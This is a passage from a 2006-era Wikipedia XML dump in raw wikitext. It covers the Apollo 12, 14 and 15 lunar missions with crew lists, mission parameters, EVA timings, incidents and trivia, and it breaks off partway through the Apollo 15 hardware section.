With this in mind, he suggested the crew &quot;Try SCE to aux,&quot; or switch to the auxiliary set of Signal Condition Equipment.  The command was a relatively obscure one and neither the [[Flight Director]], [[Capsule communicator|CAPCOM]], or mission CDR Conrad could immediately recall how to implement it; however, LMP Al Bean remembered that the SCE switch was on his panel because of a training incident a year prior to launch where just such a failure had been simulated.  John Aaron's quick thinking and Al Bean's memory were able to salvage what otherwise would have been an [[Apollo abort modes|aborted mission]] (at the time of the failure, the flight had just entered abort mode One Bravo).  With telemetry restored, the crew proceeded to parking orbit and was able to fully restore and verify the functionality of their spacecraft before re-igniting the [[S-IVB]] third stage for [[Trans Lunar Injection|trans-lunar injection]].

The S-IVB was originally intended to be put into a solar orbit by venting the remaining propellant. However an extra long burn of the ullage motors meant that venting the remaining propellant in the tank of the S-IVB did not give the rocket stage enough energy to escape the Earth-Moon system and instead the stage ended up in a semi-stable orbit around the Earth after passing by the Moon in [[November 18]], [[1969]]. It finally entered into solar orbit [[1971]], but returned to Earth orbit (briefly) 31 years later. It was discovered by amateur astronomer [[Bill Yeung]] and he gave it the temporary designation [[J002E3]] before it was determined to be an artificial, not natural, object.

The Apollo 12 mission landed on an area of the Ocean of Storms that had been visited earlier by several unmanned missions ([[Luna 5]], [[Surveyor 3]], and [[Ranger 7]]). The [[International Astronomical Union]], recognizing this, christened this region ''Mare Cognitium (Known Sea)''.  The landing site would thereafter be listed as ''[[Statio Cognitium]]'' on lunar maps (Conrad and Bean did not formally name their landing site, interestingly enough, though the intended touchdown point was nicknamed ''Pete's Parking Lot'' by Conrad).

The second lunar landing was an exercise in precision targeting. The descent was automatic, with only a few manual corrections by Conrad. Although ''[[Apollo 11]]'' had made an almost embarrassingly imprecise landing well outside the designated target area, Apollo 12 succeeded, on [[November 19]], in making a pin-point landing, within walking distance (less than 200 meters) of the [[Surveyor 3]] probe, which had landed on the Moon in April [[1967]].

Conrad actually landed ''Intrepid'' 580 feet short of ''Pete's Parking Lot'' because the planned landing point looked rougher than anticipated during the final approach to touchdown.  The planned landing point was a little under 1180 feet from ''Surveyor 3'', a distance that was chosen to eliminate the possibility of lunar dust (being kicked up by ''Intrepid's'' descent engine during landing) from covering ''Surveyor 3''.  But the actual touchdown point - 600 feet from ''Surveyor 3'' - did cause a thin film of dust to coat the probe, giving it a light tan hue.

To improve the quality of television pictures from the Moon, a color camera was carried on Apollo 12 (unlike the monochrome camera that was used on ''[[Apollo 11]]''). Unfortunately, when Bean carried the camera to the place near the lunar module where it was to be set up, he inadvertently pointed it directly into the Sun, destroying the [[vidicon tube]]. Television coverage of this mission was thus terminated almost immediately.

Conrad and Bean removed pieces of the [[Surveyor 3]], to be taken back to Earth for analysis, and took two Moon-walks lasting just under four hours each. They collected rocks and set up equipment that took measurements of the Moon's seismicity, solar wind flux and magnetic field, and relayed the measurements to Earth.  (By accident Bean left several rolls of exposed film on the lunar surface.)  Meanwhile Gordon, on board the ''Yankee Clipper'' in lunar orbit, took multispectral photographs of the surface.

The lunar plaque attached to the descent stage of ''Intrepid'' is unique in that unlike the other [[lunar plaques]], it (a) did not have a depiction of the Earth, and (b) it was textured differently (the other plaques had black lettering on polished stainless steel while the Apollo 12 plaque had the lettering in polished stainless steel while the background was brushed flat).

''Intrepid's'' ascent stage was dropped (per normal procedures) after Conrad and Bean rejoined Gordon in orbit. It impacted the Moon on [[20 November]], [[1969]] at 3.94 S, 21.20 W.  The seismometers the astronauts had left on the lunar surface registered the vibrations for more than an hour.  

The crew stayed an extra day in lunar orbit taking photographs, for a total lunar stay of thirty-one and a half hours.  

The command module and its crew were flawlessly recovered by the aircraft carrier [[USS Hornet (CV-12)|USS ''Hornet'']]. The ship is now open to the public as a museum in [[Alameda, CA]].  The command module is displayed at the [[Virginia Air and Space Center]], [[Hampton, Virginia]]

==Trivia==
*Pete Conrad smuggled a camera-shutter self-timer device on to the mission with the intent of taking a photograph with himself, Alan Bean and the Surveyor 3 probe in the frame. As the timer was not part of their standard equipment, such an image would have thrown post-mission photo analysts into confusion over how the photo was taken. Unfortunately the self-timer was mis-placed during the EVA and the plan was never executed.

*The Apollo 12 backup crew managed to 'insert' into the astronaut's lunar checklist (attached to the wrists of Conrad's and Bean's spacesuits) reduced sized pictures of [[Playboy]] centerfolds, thus introducing [[pornography]] to the moon for the first time when Conrad and Bean were looking through the lists during their first EVA.

*Another idea that did not materialize was that Conrad - who loved collecting baseball caps - had a giant one made that would fit over his space helmet.  He wanted to wear it during his lunar EVA's, but there was no way that it could be smuggled on board Apollo 12 without it being found out.

*The Apollo 12 mission patch has four stars on it—one each for the three astronauts who flew the mission and one for [[Clifton Williams]].  Williams was killed on [[October 5]], [[1967]], after a mechanical failure caused the controls of his T-38 trainer to stop responding. He had been assigned to the back-up crew for what would be the [[Apollo 9]] mission and would have most likely been assigned as Lunar Module pilot for Apollo 12.

*A part of one of the rock samples collected on Apollo 12, lunar sample 12013, has a composition which is remarkably similar to some [[tektite]]s. It is especially similar to high-magnesium javenites (part of the Australasian strewn field of Southeast Asia).

==References==
* [http://history.nasa.gov/SP-4012/vol3/table2.40.htm Apollo 12 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19720019081_1972019081.pdf Analysis of Surveyor 3 material and photographs returned by Apollo 12 (PDF) 1972]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19730064630_1973064630.pdf Examination of Surveyor 3 surface sampler scoop returned by Apollo 12 mission  (PDF) 1971]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19760072997_1976072997.pdf Apollo 12 Mission Report (PDF) March 1970]
*[http://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19720066106_1972066106.pdf Analysis of Apollo 12 Lightning Incident, (PDF) February 1970]

==External links==
*[http://science.ksc.nasa.gov/history/apollo/apollo-12/apollo-12-patch.jpg Image of mission patch]
*[http://astrogeology.usgs.gov/Projects/LunarAtlas/maps/images/AP12Trav.jpg Map of surface activities for Apollo 12]
*[http://www.astronautix.com/flights/apollo12.htm Apollo 12 entry in Encyclopedia Astronautica]
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm  APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]

{{Project Apollo| before=''[[Apollo 11]]''| after=[[Apollo 13]]}}

[[Category:1969]]
[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]

[[da:Apollo 12]]
[[de:Apollo 12]]
[[fi:Apollo 12]]
[[fr:Apollo 12]]
[[hu:Apollo-12]]
[[it:Apollo 12]]
[[ja:アポロ12号]]
[[nl:Apollo 12]]
[[pl:Apollo 12]]
[[pt:Apollo 12]]
[[sl:Apollo 12]]
[[sv:Apollo 12]]</text>
    </revision>
  </page>
  <page>
    <title>Apollo 14</title>
    <id>1968</id>
    <revision>
      <id>42106669</id>
      <timestamp>2006-03-03T21:44:09Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''Apollo 14'''&lt;/font&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:AP14nightingale.jpg|200px|Apollo 14 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 14
|-
|'''Call Signs:'''||Command module: ''Kitty Hawk''&lt;br /&gt;Lunar module: ''Antares''
|-
|'''Number of&lt;br /&gt;crew:'''||3
|-
|'''Launch:'''||[[January 31]], [[1971]]&lt;br /&gt;21:03:02 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar landing:'''||[[February 5]], 1971&lt;br /&gt;09:18:11 UTC&lt;br /&gt;3° 38' 43.08&quot; S - 17° 28' 16.90&quot; W&lt;br /&gt;[[Fra Mauro]]
|-
|'''Lunar EVA&lt;br /&gt;length:'''||1st: 4 h 47 min 50 s&lt;br /&gt;2nd: 4 h 34 min 41 s&lt;br /&gt;Total: 9 h 22 min 31 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||33 h 30 min 29 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 42.28 kg (93.211 lb)
|-
|'''Splashdown:'''||[[February 9]], [[1971]]&lt;br /&gt;21:05:00 UTC&lt;br /&gt;27° 1' S - 172° 39' W
|-
|'''Duration:'''||9 d 0 h 1 min 58 s
|-
|'''Number of&lt;br /&gt;lunar orbits:'''||34
|-
|'''Time in&lt;br /&gt;lunar orbit:'''||66 h 35 min 39.99 s 
|-
|'''Mass:'''||CSM 29,240 kg;&lt;br /&gt;LM 15,264 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:GPN-2000-001168.jpg|300px|Apollo 14 crew portrait (L-R: Roosa, Shepard, and Mitchell)]] &lt;br/&gt;Apollo 14 crew portrait &lt;br/&gt;(L-R: Roosa, Shepard, and Mitchell)
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 14 crew
|}
'''Apollo 14''' was the eighth manned mission in the [[Project Apollo|Apollo program]] and the third mission to land on the moon.

==Crew==
*[[Alan Shepard]] (flew on ''[[Mercury 3]]'' &amp; ''Apollo 14''), commander
*[[Stuart Roosa]] (flew on ''Apollo 14''), command module pilot
*[[Edgar Mitchell]] (flew on ''Apollo 14''), lunar module pilot

===Backup crew===
*[[Gene Cernan]], commander
*[[Ron Evans]], command module pilot
*[[Joe Engle]], lunar module pilot

===Support crew===
*[[Philip K. Chapman|Philip Chapman]]
*[[Bruce McCandless]]
*[[William Pogue]]
*[[Gordon Fullerton]]

==Mission parameters==
*'''[[Mass]]:''' CSM 29,240 kg; LM 15,264 kg
*'''[[Perigee]]:''' 183.2 km
*'''[[Apogee]]:''' 188.9 km
*'''[[Inclination]]:''' 31.12° 
*'''[[Orbital period|Period]]:''' 88.18 min

*'''[[Perilune]]:''' 108.2 km
*'''[[Apolune]]:''' 314.1 km
*'''[[Inclination]]:''' ° 
*'''[[Orbital period|Period]]:''' 120 min
*'''Landing Site:''' [http://nssdc.gsfc.nasa.gov/planetary/lunar/lunar_sites.html 3.64530° S - 17.47136° W] or&lt;br /&gt; 3° 38' 43.08&quot; S - 17° 28' 16.90&quot; W

===LM - CSM docking===
*'''Undocked''': [[February 5]], [[1971]] - 04:50:43  UTC
*'''Docked''': [[February 6]], [[1971]] - 20:35:42 UTC

===EVAs===
===='''EVA 1 start''': [[February 5]], [[1971]], 14:42:13 UTC====
* ''Shepard '' - EVA 1 
*'''Stepped onto moon''': 14:54 UTC
*'''LM ingress''': 19:22 UTC

* ''Mitchell'' - EVA 1 
*'''Stepped onto moon''': 14:58 UTC
*'''LM ingress''': 19:18 UTC

*'''EVA 1 end''': February 5, 19:30:50 UTC
**'''Duration''': 4 hours, 47 minutes, 50 seconds

===='''EVA 2 start''': [[February 6]], [[1971]], 08:11:15 UTC====
* ''Shepard '' - EVA 2 
*'''Stepped onto moon''': 08:16 UTC
*'''LM ingress''': 12:38 UTC

* ''Mitchell'' - EVA 2 
*'''Stepped onto moon''': 08:23 UTC
*'''LM ingress''': 12:28 UTC

*'''EVA 2 end''': February 6, 12:45:56 UTC
**'''Duration''': 4 hours, 34 minutes, 41 seconds

===See also===
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

==Mission highlights==

[[Image:Apollo_14_LM_adapter.jpg|right|thumb|250px|Apollo 14 LM is placed in LM Adapter. (NASA)]]
[[Image:Apollo14Launch.jpg|thumb|right|250px|Launch of Apollo 14]]
[[Image:As14-66-9232.jpg|right|thumb|250px|Alan Shepard on lunar surface. (NASA)]]
[[Image:40_A14LEM.jpg|thumb|250px|Panoramic Assembly of Fra Mauro - Apollo 14 Landing Site]]
[[Image:a14-plaque.jpg|right|thumb|Depiction of the plaque left on the moon by Apollo 14]]

On the way down, the LM &quot;Antares&quot; had two problems.  First, the LM computer began getting an ABORT signal from the ABORT switch.  NASA believed that the computer might be getting erroneous readings like this if a tiny ball of soldering material had shaken loose and was floating between the switch and the contact, closing the circuit.  The immediate solution - tapping on the panel next to the switch - did work, but if the problem recurred after the descent engine fired, the computer would think the signal was real and would initiate the sequence to blow the Ascent Stage back into orbit.  NASA and the software teams at MIT scrambled to find a more permanent solution - reprogramming the computer to ignore the signal - and Shepard and Mitchell were able to accomplish this just in time.

The second problem was the failure of the radar to lock onto the moon's surface.  Eventually, at close to the last possible moment, it started working.  Shepard landed the LM closer to its intended mark than any of the other five moon landing missions.

After landing in the [[Fra Mauro formation]] - the destination for [[Apollo 13]] - Shepard and Mitchell took two moon­walks, adding new seismic studies to the by now familiar Apollo experiment package, and using a &quot;lunar rickshaw&quot; pull cart to carry their equipment. Roosa, meanwhile, took pictures from on board command module &quot;Kitty Hawk&quot; in lunar orbit.

The second moonwalk, or EVA, was intended to reach the rim of the 1,000­ foot (300 m) wide Cone Crater.  However, the two astronauts were not able to find the rim amid the rolling terrain of the crater's slopes. Later analysis, using the pictures that they took, determined that they had come within 65 feet of the crater's rim.  

Shepard and Mitchell deployed and activated various scientific instruments and experiments and collected almost 100 pounds (45 kg) of lunar samples for return to earth. Other Apollo 14 achievements included: first use of Mobile Equipment Transporter (MET); largest payload placed in lunar orbit; longest distance traversed on the lunar surface; largest payload returned from the lunar surface; longest lunar surface stay time (33 hours); longest lunar surface EVA (9 hours and 17 minutes); first use of shortened lunar orbit rendezvous techniques; first use of color TV with new [[vidicon tube]] on lunar surface; and first extensive orbital science period conducted during CSM solo operations.

On the way back to Earth, the crew conducted the first U.S. materials processing experiments in space. The Apollo 14 astronauts were the last lunar explorers to be quarantined on their return from the Moon. 

Shepard and Mitchell named their landing site ''Fra Mauro Base'', and this designation is recognized by the [[International Astronomical Union]] (depicted in Latin on lunar maps as ''Statio Fra Mauro'').

===Mission notes===

*Shepard is the only astronaut from [[Project Mercury]] (the original seven astronauts) to reach the Moon.
*Shepard smuggled a makeshift six iron [[golf]] club and two golf balls to the [[moon]], and took several swings. He exuberantly, and somewhat whimsically, exclaimed that the second ball went &quot;miles and miles and miles&quot; in the lunar [[gravity]], but later estimated it actually went 200 to 400 yards (200 to 400 m).  Mitchell then used a lunar scoop handle as a javelin, creating the first 'Lunar Olympics'.
*Mitchell conducted some unauthorized [[extra-sensory perception]] experiments while en route to the Moon, with friends back on Earth; the number of matches were reportedly less than would have been obtained by [[random]] chance.
*Shepherd's moonwalking suit was the first to incorporate red bands on the arms and legs, and a red stripe on the top of the lunar EVA sunshade &quot;hood,&quot; as to allow easy identification of the commander while on the surface; on the [[Apollo 12]] pictures, it had been almost impossible to distinguish between the two crewmen, causing a great deal of confusion. This feature was on [[Jim Lovell]]'s [[Apollo 13]] suit, but because of the accident, this was not used. It was used on the remaining three Apollo flights and is used on both the U.S. and Russian spacesuits on both the [[Space Shuttle]] and [[International Space Station]].
*Of the three crewmen, only Mitchell is the only member of the crew to remain alive (as of 1/06)--Roosa dying in 1994 from [[pancreatitis]] and Shepherd from [[leukemia]] in 1998.
*The mission was somewhat of a personal success for Shepard, who had battled back from [[Ménière’s disease]], earned his flight status back and made his first mission in space in ten years.

The mission's command module ''Kitty Hawk'' is displayed at the [[Astronaut Hall of Fame]], [[Titusville, Florida]] and the lunar module ''Antares'' impacted the Moon [[7 February]], [[1971]] at 3.42° S, 19.67° W.

===Quotes===
&quot;It's been a long way, but we're here.&quot;
Alan B. Shepard, Jr, his first words on the moon. Unlike Apollo 11's Neil Armstrong and Apollo 12's Pete Conrad, Shepard had already gotten off the ladder and was a few meters from the LM.

&quot;I think you're all finks.&quot; 
Edgar B. Mitchell. ''(said in response to Cmdr. Shepard's suggestion to turn back during their second EVA, where they came within 65 feet (21 m) of the rim of the 1,000­ foot (300 m) wide Cone Crater that they were looking for)''

==Media==
{{video|filename=Ap14 flag.ogg|title=Shepard and Mitchell erect flag on lunar surface|description=|format=[[Ogg]]}}

==See also==
*[[Moon tree]]s, taken from seeds brought to the Moon on Apollo 14.

==External links==
*[http://astrogeology.usgs.gov/Projects/LunarAtlas/maps/images/AP14_traverseL.jpg Map of surface activities for Apollo 14]
*[http://www.astronautix.com/flights/apollo14.htm Apollo 14 entry in Encyclopedia Astronautica]
*[http://groups.msn.com/spacecowboysaloon/apollo14underconstruction.msnw From the Space Cowboy Saloon]

===References===
*[http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
*[http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
*[http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
*[http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]
*[http://history.nasa.gov/SP-4012/vol3/table2.42.htm Apollo 14 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]

{{commons|Apollo 14}}

{{Project Apollo| before=[[Apollo 13]]| after=[[Apollo 15]]}}

[[Category:1971]]
[[Category:Apollo program]]
[[Category:Human spaceflights]]
[[Category:Lunar spacecraft]]

[[ar:أبولو 14]]
[[da:Apollo 14]]
[[de:Apollo 14]]
[[et:Apollo 14]]
[[fr:Apollo 14]]
[[it:Apollo 14]]
[[hu:Apollo-14]]
[[ja:アポロ14号]]
[[nl:Apollo 14]]
[[pt:Apollo 14]]
[[fi:Apollo 14]]
[[sv:Apollo 14]]
[[th:ยานอะพอลโล 14]]</text>
    </revision>
  </page>
  <page>
    <title>Apollo 15</title>
    <id>1969</id>
    <revision>
      <id>40560424</id>
      <timestamp>2006-02-21T12:46:47Z</timestamp>
      <contributor>
        <username>Mmmoo</username>
        <id>968033</id>
      </contributor>
      <comment>/* Lunar surface */</comment>
      <text xml:space="preserve">{| class=&quot;infobox&quot; style=&quot;font-size: 95%; width: 20em;&quot;
|+&lt;big&gt;'''''Apollo 15'''''&lt;/big&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission insignia
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo-15-LOGO.jpg|220px|Apollo 15 insignia]]
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Mission statistics
|-
|'''Mission name:'''||Apollo 15
|-
|'''Call sign:'''||Command module: ''Endeavour''&lt;br /&gt;Lunar module: ''Falcon''
|-
|'''Number of&lt;br /&gt;crew:'''||3
|-
|'''Launch:'''||[[July 26]], [[1971]]&lt;br /&gt;13:34:00 [[Coordinated Universal Time|UTC]]&lt;br /&gt;[[Kennedy Space Center]]&lt;br /&gt;LC 39A
|-
|'''Lunar landing:'''||[[July 30]], 1971&lt;br /&gt;22:16:29 UTC&lt;br /&gt;26° 7' 55.99&quot; N - 3° 38' 1.90&quot; E&lt;br /&gt;Hadley Rille
|-
|'''Lunar EVA&lt;br /&gt;length:'''||LM Stand Up: 33 min 7 s&lt;br /&gt;1st: 6 h 32 min 42 s&lt;br /&gt;2nd: 7 h 12 min 14 s&lt;br /&gt;3rd: 4 h 49 min 50 s&lt;br /&gt;Total: 18 h 34 min 46 s
|-
|'''CMP EVA:'''|| 39 min 7 s
|-
|'''Lunar surface&lt;br /&gt;time:'''||66 h 54 min 53.9 s
|-
|'''[[Lunar sample]]&lt;br /&gt;mass:'''|| 77 kg (170 lb)
|-
|'''Splashdown:'''||[[August 7]], [[1971]]&lt;br /&gt;20:45:53 UTC&lt;br /&gt;{{coor dm|26|13|N|158|13|W|}}
|-
|'''Duration:'''||12 d 7 h 11 min 53 s
|-
|'''Number of&lt;br /&gt;lunar orbits:'''||74
|-
|'''Time in&lt;br /&gt;lunar orbit:'''||145 h 12 min 41.68 s
|-
|'''Mass:'''||CSM 30,370 kg;&lt;br /&gt;LM 16,430 kg
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Crew picture
|-
|colspan=&quot;2&quot; align=&quot;center&quot;|[[Image:Apollo 15 crew.jpg|250px|Apollo 15 crew portrait (L-R: Scott, Worden and Irwin)]]&lt;br&gt;&lt;small&gt;''Apollo 15'' crew portrait &lt;br/&gt;(L-R: Scott, Worden and Irwin)&lt;/small&gt;
|-
!colspan=&quot;2&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot;|Apollo 15 crew
|}

'''''Apollo 15''''' was the ninth manned mission in the [[Project Apollo|Apollo program]] and the fourth mission to land on the [[Moon]]. It was the first of what were termed J missions &amp;mdash; long duration stays on the Moon with a greater focus on science than had been on previous missions.

Commander [[David Scott]] and Lunar Module Pilot [[James Irwin]] spent three days on the Moon and a total of 18½ hours outside the spacecraft on lunar [[extra-vehicular activity]]. The mission was the first not to land in a [[Lunar mare]], instead landing near [[Mons Hadley|Hadley rille]] in an area of the [[Mare Imbrium]] called ''Palus Putredinus'' (Marsh of Decay). The crew explored the area using the first [[Lunar Rover]] allowing them to travel much further from the [[Apollo Lunar Module|Lunar Module]] lander than had previously been possible. They collected a total of 77 kg (170 lb) lunar surface material.

At the same time Command Module Pilot [[Alfred Worden]] orbited the Moon, using a Scientific Instrument Module (SIM) to study the lunar surface and environment in great detail using a panoramic camera, [[gamma ray spectrometer]], mapping camera, laser [[altimeter]], [[Mass spectrometry|mass spectrometer]], and lunar sub-satellite that was launched at the end of the mission.

== Crew ==
*[[David Scott]] (flew on ''[[Gemini 8]]'', ''[[Apollo 9]]'', &amp; ''Apollo 15''), commander
*[[Alfred Worden]] (flew on ''Apollo 15''), command module pilot
*[[James Irwin]] (flew on ''Apollo 15''), lunar module pilot

=== Backup crew ===
The backup crew trained to take the place of the prime crew in case of illness or death.
*[[Dick Gordon]], commander
*[[Vance Brand]], command module pilot
*[[Harrison Schmitt]], lunar module pilot

=== Support crew ===
The support crew were not trained to fly the mission but were able to stand in for astronauts in meetings and be involved in the minutiae of mission planning, while the prime and backup crews trained. They often also served as Capcoms during the mission.
*[[Joseph P. Allen|Joe Allen]]
*[[Robert A. Parker|Bob Parker]]
*[[Karl Henize]]

== Mission parameters ==
*'''Mass:'''
**Launch mass: 2,921,005 kg
**Total spacecraft: 46,782 kg
***CSM mass: 30,354 kg, of which CM was 5840 kg, SM 24,514 kg
***LM mass: 16,428 kg, ascent stage at lunar liftoff 4,951 kg
*'''Earth orbits:''' 3 before leaving for Moon, about one on return
*'''Lunar orbits:''' 74

===Earth parking orbit===
*'''[[Perigee]]:''' 169.5 km
*'''[[Apogee]]:''' 171.3 km
*'''[[Inclination]]:''' 29.679°
*'''[[Orbital period|Period]]:''' 87.84 min

=== LM-CSM docking ===
*'''Undocked''': [[July 30]], [[1971]] - 18:13:16 UTC
*'''Docked''': [[August 2]], [[1971]] - 19:10:25 UTC

=== EVAs ===
*'''''Scott''''' - Stand up EVA - LM upper hatch
*'''Start Stand Up EVA''': [[July 31]], [[1971]], 00:16:49 UTC
*'''End Stand Up EVA''': [[July 31]], 00:49:56 UTC
*'''Duration''': 33 minutes, 07 seconds

* '''''Scott and Irwin''''' - EVA 1
*'''EVA 1 Start''': [[July 31]], [[1971]], 13:12:17 UTC
*'''EVA 1 End''': [[July 31]], 19:45:59 UTC
*'''Duration''': 6 hours, 32 minutes, 42 seconds

* '''''Scott and Irwin''''' - EVA 2
*'''EVA 2 Start''': [[August 1]], [[1971]], 11:48:48 UTC
*'''EVA 2 End''': [[August 1]], 19:01:02  UTC
*'''Duration''': 7 hours, 12 minutes, 14 seconds

* '''''Scott and Irwin''''' - EVA 3
*'''EVA 3 Start''': [[August 2]], [[1971]], 08:52:14 UTC
*'''EVA 3 End''': [[August 2]], 13:42:04  UTC
*'''Duration''': 4 hours, 49 minutes, 50 seconds

* ''''' Worden ''''' - Transearth EVA 4
*'''EVA 4 Start''': [[August 5]], [[1971]], 15:31:12 UTC
*'''EVA 4 End''': [[August 5]], 16:10:19  UTC
*'''Duration''': 39 minutes, 07 seconds

=== See also ===
* [[Extra-vehicular activity]]
* [[List of spacewalks]]
* [[Splashdown]]
* [[List of artificial objects on the Moon]]
* [[Google Moon]]

==Mission Highlights==
===Incident===
Shortly after stage 1 separation, the instrumentation on stage 1 went dead. This was traced to the exhaust of stage 2 striking the stage and burning out the electronics. This had never happened before; and was traced to a reduction in the number of retrofire charges from 8 to 4. It was discovered that the two stages were in fact uncomfortably close, due to the slow thrust decay of the F-1 engines, and failure of any one charge could have caused a collision. Later flights had the original retrofire configuration.

===Planning and training===
The crew for ''Apollo 15'' had previously served as the backup crew for ''Apollo 12''. There had been a friendly rivalry between that prime and backup crew on that mission, with the prime being all [[United States Navy|Navy]], and the backup all [[United States Air Force|Air Force]].

Originally ''Apollo 15'' would have been an H mission, like Apollos ''[[Apollo 12|12]]'', ''[[Apollo 13|13]]'', ''[[Apollo 14|14]]''. But on [[September 2]], [[1970]], [[NASA]] announced it was cancelling what were to be the current incarnations of the ''Apollo 15'' and ''[[Cancelled Apollo missions|Apollo 19]]'' missions. To maximize the return from the remaining mission, ''Apollo 15'' would now fly as a J mission and have the honor of carrying the first Lunar Rover.

One of the major changes in the training for ''15'' was the geology training. Although on previous flights the crews had been trained in field geology, for the first time ''15'' would make it a high priority. Scott and Irwin would train with [[Lee Silver]], a Caltech geologist who on Earth was interested in the [[Precambrian]]. Silver had been suggested by [[Harrison Schmitt]] as an alternative to the classroom lecturers that NASA had previously used. Among other things, Silver had made important refinements to the methods for dating rocks using the decay of [[uranium]] into [[lead]] in the late 1950s.

At first Silver would take the prime and backup crews to various geological sites as if it was just a normal field geology lesson, but as the time of launch began to approach, these trips became more and more realistic. The crews would begin to wear mock-ups of the backpacks they would carry and communicate using [[walkie-talkie]]s to a CapCom in a tent (during a mission the Capsule Communicators, CapComs, were the only people who would normally speak to the crew). With the CapCom would be a group of geologists who did not know the area and would have to rely on the astronauts descriptions to interpret the area.

The decision to land at Hadley came in September 1970. The Site Selection Committees had narrowed the field down to two sites &amp;mdash; Hadley Rille or the crater [[Marius (crater)|Marius]], near which were a group of low, possibly volcanic, domes. Although not ultimately his decision, the commander of a mission always held great sway. To Dave Scott the choice was clear, with Hadley, being &quot;exploration at its finest&quot;.

Command Module Pilot Al Worden also undertook geology training, but of a different kind. Working with an [[Egypt]]ian, [[Farouk El-Baz]], he would fly over areas in an [[airplane]] simulating the speed at which terrain would pass below him while in the CSM in orbit. He became quite adept at making observations as the object traveled below.

===Hardware===
[[image:Apollo 15 commander Dave Scott geology training.jpg|thumb|250px|Commander Dave Scott during geology training in [[New Mexico]] on [[March 19]], [[1971]].]]

The Lunar Roving Vehicle, or the Rover, had been in development since May 1969, with the contract awarded to [[Boeing]] (who also were the lead contractors for the [[S-II]] second stage of the [[Saturn V]]). It could be folded into a space 5 ft by 20 in (1.5 m by 0.5 m). Unloaded it weighed 460 lb (209 kg) and when carrying two astronauts and their equipment, 1500 lb (700 kg). Each wheel was independently driven by 1/4 [[horsepower]] (200 W) electric motor. Although it could be driven by either astronaut, the Commander always drove. Travelling at speeds up to 6 to 8 mph (10 to 12 km/h), it meant that for the first time the astronauts could travel far afield from their lander and still have enough time to do some serious science.

The Saturn V that launched ''Apollo 15'' was designated SA-510, the tenth flight-ready model of the rocket. ''Apollo 15'' used [[Apollo Command/Service Module|Command/Service Module]] CSM-112, which was given the callsign ''Endeavour'', named after the [[HM Bark Endeavour|HM Bark ''Endeavour'']]  and [[Apollo Lunar Module|Lunar Module]] LM-10, callsign ''Falcon'', named after the [[United States Air Force Academy]] [[mascot]]. If ''Apollo 15'' had flown as an H mission it would with CSM-111 and LM-9. The CSM was used by the [[Apollo Soyuz Test Project]] and the Lunar Module was unused and is now on display at the [[Kennedy Space Center]].

As the payload of the rocket was greater, changes were made to its launch trajectory and Saturn V itself. The rocket was launched in a more southerly direction (80&amp;ndash;100 degrees [[azimuth]]) and the Earth parking orbit lowered to 166 km (90 nautical miles) above the Earth's surface. These two changes meant 1100 pounds (500 kg) more could be launched. The [[propellant]] reserves were reduced and the number of retrorockets on the [[S-IC]] first stage reduced from eight to four. The four outboard engines of the S-IC would be burned longer and the center engine would also burn longer before being shutdown (see [[Saturn V]] for more information on the launch sequence). Changes were made to the [[S-II]] second stage to stop [[pogo oscillation]]s.

On the Lunar Module, the [[fuel]] and [[oxidizer]] tanks were enlarged on both the descent and ascent stages and the [[engine bell]] on the descent stage was extended. Batteries and [[solar cell]]s were added for increased electrical power. In all this increased the weight of the Lunar Module to 36,000 pounds (16,330 kilograms), 4000 pounds (1800 kg) heavier than previous models.

